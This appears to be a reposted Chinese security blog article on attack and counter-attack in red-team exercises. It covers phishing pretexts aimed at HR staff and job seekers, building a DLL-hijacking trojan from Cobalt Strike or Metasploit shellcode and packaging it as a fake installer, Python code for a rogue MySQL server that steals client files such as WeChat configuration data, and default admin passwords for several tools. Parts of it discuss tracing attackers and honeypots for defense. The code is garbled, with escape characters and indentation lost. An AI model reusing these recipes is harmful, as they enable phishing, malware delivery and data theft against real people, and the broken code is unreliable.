攻防千层饼

admin 2023年10月18日00:21:57评论16 views字数 4227阅读14分5秒阅读模式

近年来,网络安全领域正在经历一场不断升级的攻防对抗,这场攻防已经不再局限于传统的攻击与防御模式,攻击者和防守者都已经越发熟练,对于传统攻防手法了如指掌。

在这个背景下,攻击者必须不断寻求创新的途径,以突破外部网络目标的坚固防护体系,利用零日漏洞、社会工程学手法、供应链攻击、投毒攻击,或者更加隐秘的攻击向量,以规避传统的检测与响应机制。防守方也不再仅仅依赖于传统的防御策略,如IP封锁或简单的入侵检测,已经转向主动防御甚至主动进攻,采取主动情报收集、分析与分享,实时威胁情报监测、云安全服务、容器化防护等安全防护,以应对不断进化的威胁。更加激进的防守方会选择积极主动的策略,对攻击者发起反制攻击,拿下权限获取情报(更多的是被逼的,谁不想躺两周呢)。

本文将探讨这些非常规的攻击与防御手段。

钓鱼

在网络攻防中,社会工程学攻击(如钓鱼)是一种常见的攻击手段。攻击者利用人们的心理和行为特点,通过欺骗、伪装等手段获取敏感信息或实施其他恶意活动。

钓鱼攻击

目前钓鱼的形式多种多样,有常规钓鱼手段通过邮箱、微信等IM工具钓鱼,也有供应链官方升级文件投毒,代码投毒。

求职招聘

攻击者伪装求职平台的求职者,联系HR私加微信。经常聊天降低风险意识,并套话使用的什么终端设别,发送伪装成求职简历的木马文件名,HR运行上线。攻防千层饼

或者伪装HR联系求职者

攻防千层饼

投毒

在github,公众号等地方投毒

攻防千层饼

供应链投毒

攻防千层饼

社会工程学

通过在社交平台寻找疑似工作人员(重点关注微博抖音快手小红书),然后通过OSINT定制化钓鱼攻击,博取对方信任,然后投放木马

攻防千层饼

仿冒IT运维人员

以密码过期、系统升级等理由,要求打开链接输入账号密码或者下载恶意附件

攻防千层饼

攻防千层饼

攻防千层饼

补贴

攻防千层饼

吃瓜

通过捏造吃瓜事件,吸引受害者点击恶意文件,在攻防时慎用此方式钓鱼,可能会被警告(21年某象)

攻防千层饼

攻防千层饼

攻防千层饼

攻防千层饼

反钓鱼攻击

可以在经过网络隔离的环境中模拟被钓鱼人员,运行攻击者的木马程序,同时准备一些模拟的敏感文件,例如VPN账号和密码、运维手册等等。这样,当攻击者尝试下载和运行这个木马程序时,可以对其进行反制。

DLL劫持制作木马

合法程序在运行的时候需要加载合法的dll,使用恶意的dll通过函数调用劫持合法dll,达到运行合法程序加载恶意dll的效果

使用拿破轮胎大佬的工具(工具下载网盘:链接https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

提取码:c29j)可以直接自动化劫持dll。

使用CS或者MSF的shellcode生成dll文件,这时文件目录会自动生成conf.inf文件和wwwcomw.dll文件,然后选择生成的wwwcomw.dll文件和要劫持的exe文件,即可生成被劫持的恶意程序。

攻防千层饼

将conf.inf文件和wwwcomw.dll文件放入到和劫持的文件同一目录,点击运行即可执行shellcode

攻防千层饼

NSIS制作安装包

使用nsis可以将上述多个文件打包成一个安装包,并可伪装成任意软件。软件下载地址:https://www.pc6.com/softview/SoftView_14342.html 软件使用教程:https://www.cnblogs.com/modou/p/3573772.html

攻防千层饼

mysql蜜罐

21年国家HW时,某知名社区官方账号就曾使用该方法进行钓鱼,在一篇分析投毒代码中留下Mysql蜜罐的账号密码,吸引好事者登录mysql蜜罐,窃取敏感信息。

攻防千层饼

LOAD DATA LOCAL INFILE

LOAD DATA LOCAL INFILE 是 MySQL 中用于将数据从本地文件加载到数据库表中的命令。这个命令允许用户通过指定本地文件的路径将数据导入到数据库表中。

读取服务端上的文件内容存入表中:

load data infile "文件" into table "表名" fields terminated by '分隔符';

读取客户端上的文件内容存入表中:

load data local infile "文件" into table "表名" fields terminated by '分隔符';

查看LOAD DATA LOCAL INFILE 功能开关状态

show global variables like 'local_infile';

攻防千层饼

将LOAD DATA LOCAL INFILE 功能打开

set global local_infile=1;

蜜罐

利用代码伪造连接信息

攻防千层饼

尝试读取文件信息

 if 'SET NAMES utf8' in res4:
                        conn.sendall("x07x00x00x01x00x00x00x02x00x00x00")
                        res5 = conn.recv(9999)
                        if 'SET character_set_results=NULL' in res5:
                            conn.sendall("x07x00x00x01x00x00x00x02x00x00x00")
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                conn.close()
        else:
            try:
                wantfile = chr(len(filename) + 1) + "x00x00x01xFB" + filename
                conn.sendall(wantfile)
                content = conn.recv(99999999)
                # print(len(content))
                conn.close()
                if len(content) > 4:
                    if 'PFRO' in filename:
                        with open(logpath + "/PFRO.log", "w") as f:
                            f.write(content)
                            f.close()
                        return True
                    else:
                        with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
                            f.write(content)
                            f.close()
                        return True
                else:
                    return False
            except Exception as e:
                print (e)
    except Exception as e:
        print (e)

def run():
port = 3306
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("",port))
sv.listen(100)

while True:
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'
if os.path.exists(logpath):
with open(logpath, 'r')as f:
content = f.read()
f.close()
content = content.replace('n','').replace('r','').replace(' ','').replace('t','').replace('�0','')
try:
res = re.findall(r'Users\(.*)\', content)[0]
username = res.split('\')[0]
line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):
res = mysql_get_file_content(line,conn,address)
if res:
print ("Read Success! ---> " + line)
else:
print ("Not Found~ ---> " + line)
else:
conn.close()
except Exception as e:
print(e)
else:
line = 'C:/Windows/PFRO.log'
res = mysql_get_file_content(line,conn,address)
if res:
print ("Read Success! ---> " + line)
else:
print ("Not Found~ ---> " + line)

项目地址:https://github.com/fnmsd/MySQL_Fake_Server

溯源反制

溯源

钓鱼邮件溯源

从邮件头入手,通常会包括"Received"字段,其中包含有关邮件传输的信息,如发件服务器的IP地址,对IP地址进行反查溯源。

攻防千层饼

对邮箱账号进行溯源如“@qq.com”、“@gmail.com”等此类字符串,搜索账号等,如果使用的是私有域名邮箱,可以从这方面入手,有次就碰见EwoMail邮箱管理后台一般为8010端口使用了默认口令admin/ewomail123。

攻防千层饼

邮件中可能包含域名链接或者后门木马也可进行溯源。

后门木马溯源

后门木马类型可能包括LNK、EXE、DOCX等。DOCX文件可能包含“最后编辑者名称”,EXE文件中可能包含PDB信息,尤其是在开发人员将项目存放在桌面时,这可能会导致编译信息与开发人员的终端名称相关联,LNK文件在创建时可能会捕获计算机名称。对回连 C2IP溯源。

NPS

未授权访问

当使用默认配置未配置auth_key参数时,可以利用时间戳直接伪造管理员token的漏洞。脚本利用:https://github.com/0xf4n9x/NPS-AUTH-BYPASS

默认密码

nps的默认账号密码为admin/123

攻防千层饼

灯塔

默认密码

灯塔的默认账号密码为admin/arlpass

反溯源

NPS

故意留下未授权访问漏洞,或者易被猜解漏洞,如HW@2023,客户端内留下网络隔离环境的代理,同反钓鱼攻击。

灯塔

在一次攻防时,对攻击IP进行测绘,发现灯塔资产,使用未授权访问直接进入后台,发现大量shell。

攻防千层饼

还好当时留了个心眼儿,用沙箱跑了一下,发现全是木马,也是学到了一波。

攻防千层饼

原文地址:https://forum.butian.net/share/2454

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

原文始发于微信公众号(白帽子左一):攻防千层饼

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月18日00:21:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防千层饼https://cn-sec.com/archives/2116883.html

发表评论

匿名网友 填写信息